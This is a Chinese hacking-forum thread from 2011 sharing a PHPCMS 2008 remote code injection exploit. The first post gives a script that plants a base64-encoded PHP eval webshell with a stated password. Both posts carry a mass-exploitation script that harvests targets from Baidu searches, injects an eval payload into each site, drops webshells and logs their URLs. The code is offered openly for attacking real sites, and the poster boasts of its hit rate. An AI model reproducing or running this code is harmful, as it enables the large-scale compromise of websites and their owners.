服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 4549|回复: 1

phpcms 2008最新0day加批量EXP代码 2011年11月

[复制链接]
dirtysea 发表于 2011-11-6 02:36:27 | 显示全部楼层 |阅读模式
玩滥了,丢给大家玩吧。现在命中率还不错哦。直接GETSHELL。一句话密码为c

EXP:

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
PHPCMS Remote Code Inject GetShell Exploit
Google Dork:Powered by Phpcms 2008
code by secr
+---------------------------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to phpcms
Example:
php '.$argv[0].' localhost /phpcms/
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(0);  
set_time_limit(0);
$host = $argv[1];
$path = $argv[2];
$exp ='/yp/product.php?view_type=1&catid=&pagesize={${fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}&areaname=0&order=';


//检测是否存在漏洞
echo "[+] Try to determine the Bug....\n";
$returnstr=httpRequestGET('/yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order=');
if(preg_match('/(php.ini)/i',$returnstr)){
   echo("[+] This site has Bug!We Will Be Try To Exploit It\n");
    }
    else
    {
    exit("[-] Exploit Failed! This site has No Bug!\n");
}
//如果存在漏洞,就发送EXP Getshell
echo "[+] Try to create webshell....\n";
    httpRequestGET($exp);
    $content=httpRequestGET("/yp/shell.php");
//发送EXP后,在获取的shell检测时候页面里有OK字符,如果有,则GETWebshell成功。
//print_r($content);
if(strpos($content,'ok')){
    echo "[+] Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}yp/shell.php\n";
}else{
    exit("[-] Exploit Failed!\n");
}

//模拟POST或者GET请求函数。
function httpRequestGET($url){
    global  $host, $path;
    $method=$method?'POST':'GET';
    $payload = $method." ".$path.$url." HTTP/1.1\r\n";
    $payload .= "Accept: */*\r\n";
    $payload .= "User-Agent: Payb-Agent\r\n";
    $payload .= "Host: " . $host . "\r\n";
    $payload .= "Connection: Close\r\n\r\n";
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
        echo 'No response from '.$host; die;
    }
    fputs($fp, $payload);
        $resp = '';
            while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}
?>

批量的EXP如下,这威力很大。请各位大牛自重 。


<?php

error_reporting(E_ERROR);

set_time_limit(0);



$keyword='inurl:about/joinus' ; // 批量关键字

$timeout = 1;

$stratpage = 1;

$lastpage = 10000000;

for ($i=$stratpage ; $i<=$lastpage ; $i++ ){

$array=ReadBaiduList($keyword,$timeout,$i);

foreach ($array as $url ){

$url_list=file('url.txt');

if (in_array("$url\r\n",$url_list)){

echo "[-]  Links repeat\n";

      }else{

$fp = @fopen('url.txt', 'a');

@fwrite($fp, $url."\r\n");

@fclose($fp);

print_r("

[-]  Get ...... $url\r\n");

if(okbug($url)){

$exploit=exploit($url);



$ors=okor($url);

if ($ors){

echo "   Shell:-> ".$url."/yp/fuck.php\n";

$fp = @fopen('shell.txt', 'a');

@fwrite($fp, $url."/yp/fuck.php\r\n");

@fclose($fp);



         }

      }else{



          print "[-]  No Bug!\n";

          }         

        }

   }

}



function exploit($url){

$host=$url;  

$port="80";

$content ='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7';

$data =  'POST /yp/product.php?pagesize=${${@eval%28$_POST[a]%29}} HTTP/1.1'."\r\n";

$data .= "X-Forwarded-For: 199.1.88.29\r\n";

$data .= "Referer: http://$host\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\r\n";

$data .= "Host: $host\r\n";

$data .= "Content-Length: ".strlen($content)."\r\n";

$data .= "Cache-Control: no-cache\r\n\r\n";

$data .= $content."\r\n";

$ock=fsockopen($host,$port);

if (!$ock) {

echo "   No response from $host\n";

}

fwrite($ock,$data);

while (!feof($ock)) {

$exp=fgets($ock, 1024);

return $exp;

}

}



function okor($host){  

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,"GET /yp/fuck.php HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

if (strpos($data, '200') !== false) {

return         true;

}else{

return false;

}

}

function okbug($host){  

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,'GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."\r\nHost:$host\r\nConnection: Close\r\n\r\n");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

if(preg_match('/(php.ini)/i',$data)) {

return         true;

}else{

return false;

}

}



function ReadBaiduList($keyword,$timeout,$nowpage)

{

$tmp = array();

//$data = '';

$nowpage = ($nowpage-1)*10;

$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);

@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1\r\nHost:www.baidu.com\r\nConnection: Close\r\n\r\n");

while ($fp && !feof($fp))

$data .= fread($fp, 1024);

@fclose($fp);

preg_match_all("/\}\)\" href\=\"http\:\/\/([^~]*?)\" target\=\"\_blank\"/i",$data,$tmp);

$num = count($tmp[1]);

$array = array();

for($i = 0;$i < $num;$i++)

{

$row = explode('/',$tmp[1][$i]);

$array[] = str_replace('http://','',$row[0]);

}

return $array;

}

?>

批量后SHELL的地址:http://www.dirtysea.com/yp/fuck.php 一句话密码cfking

 楼主| dirtysea 发表于 2011-11-6 03:13:12 | 显示全部楼层
批量EXP:

PS:根据百度搜索批量

PHP代码
<?php   
error_reporting(E_ERROR);   
set_time_limit(0);   
   
$keyword='inurl:about/joinus' ; // 批量关键字   
$timeout = 1;     
$stratpage = 1;     
$lastpage = 10000000;     
for ($i=$stratpage ; $i<=$lastpage ; $i++ ){   
$array=ReadBaiduList($keyword,$timeout,$i);   
foreach ($array as $url ){   
$url_list=file('url.txt');   
if (in_array("$url\r\n",$url_list)){   
echo "[-]  Links repeat\n";   
      }else{   
$fp = @fopen('url.txt', 'a');     
@fwrite($fp, $url."\r\n");   
@fclose($fp);   
print_r("   
[-]  Get ...... $url\r\n");   
if(okbug($url)){   
$exploit=exploit($url);   
   
$ors=okor($url);   
if ($ors){   
echo "
  •   Shell:-> ".$url."/yp/fuck.php\n";     
    $fp = @fopen('shell.txt', 'a');   
    @fwrite($fp, $url."/yp/fuck.php\r\n");   
    @fclose($fp);   
                
             }   
          }else{   
                  
              print "[-]  No Bug!\n";   
              }              
            }   
       }   
    }   
       
    function exploit($url){     
    $host=$url;      
    $port="80";     
    $content ='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7';   
    $data =  'POST /yp/product.php?pagesize=${${@eval%28$_POST[a]%29}} HTTP/1.1'."\r\n";     
    $data .= "X-Forwarded-For: 199.1.88.29\r\n";   
    $data .= "Referer: http://$host\r\n";   
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";   
    $data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\r\n";   
    $data .= "Host: $host\r\n";   
    $data .= "Content-Length: ".strlen($content)."\r\n";   
    $data .= "Cache-Control: no-cache\r\n\r\n";   
    $data .= $content."\r\n";   
    $ock=fsockopen($host,$port);   
    if (!$ock) {   
    echo "
  •   No response from $host\n";   
    }   
    fwrite($ock,$data);   
    while (!feof($ock)) {   
    $exp=fgets($ock, 1024);   
    return $exp;   
    }   
    }   
       
    function okor($host){      
    $tmp = array();   
    $data = '';   
    $fp = @fsockopen($host,80,$errno,$errstr,60);   
    @fputs($fp,"GET /yp/fuck.php HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");   
    while ($fp && !feof($fp))   
    $data .= fread($fp, 102400);   
    @fclose($fp);   
    if (strpos($data, '200') !== false) {   
    return         true;   
    }else{   
    return false;   
    }   
    }   
    function okbug($host){      
    $tmp = array();   
    $data = '';   
    $fp = @fsockopen($host,80,$errno,$errstr,60);   
    @fputs($fp,'GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."\r\nHost:$host\r\nConnection: Close\r\n\r\n");   
    while ($fp && !feof($fp))   
    $data .= fread($fp, 102400);   
    @fclose($fp);   
    if(preg_match('/(php.ini)/i',$data)) {   
    return         true;   
    }else{   
    return false;   
    }   
    }   
       
    function ReadBaiduList($keyword,$timeout,$nowpage)     
    {   
    $tmp = array();   
    //$data = '';   
    $nowpage = ($nowpage-1)*10;   
    $fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);   
    @fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1\r\nHost:www.baidu.com\r\nConnection: Close\r\n\r\n");   
    while ($fp && !feof($fp))   
    $data .= fread($fp, 1024);   
    @fclose($fp);   
    preg_match_all("/\}\)\" href\=\"http\:\/\/([^~]*?)\" target\=\"\_blank\"/i",$data,$tmp);   
    $num = count($tmp[1]);   
    $array = array();   
    for($i = 0;$i < $num;$i++)   
    {   
    $row = explode('/',$tmp[1][$i]);   
    $array[] = str_replace('http://','',$row[0]);   
    }   
    return $array;   
    }   
       
    ?>   
    批量 getshell http://www.92hack.net/yp/fuck.php 一句话密码cfking

  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    QQ|小黑屋|手机版|Archiver|运维之家 ( 蜀ICP备12020351号 )

    GMT+8, 2018-8-21 23:43 , Processed in 0.033267 second(s), 15 queries .

    Powered by Discuz! X3.4

    © 2001-2017 Comsenz Inc.

    快速回复 返回顶部 返回列表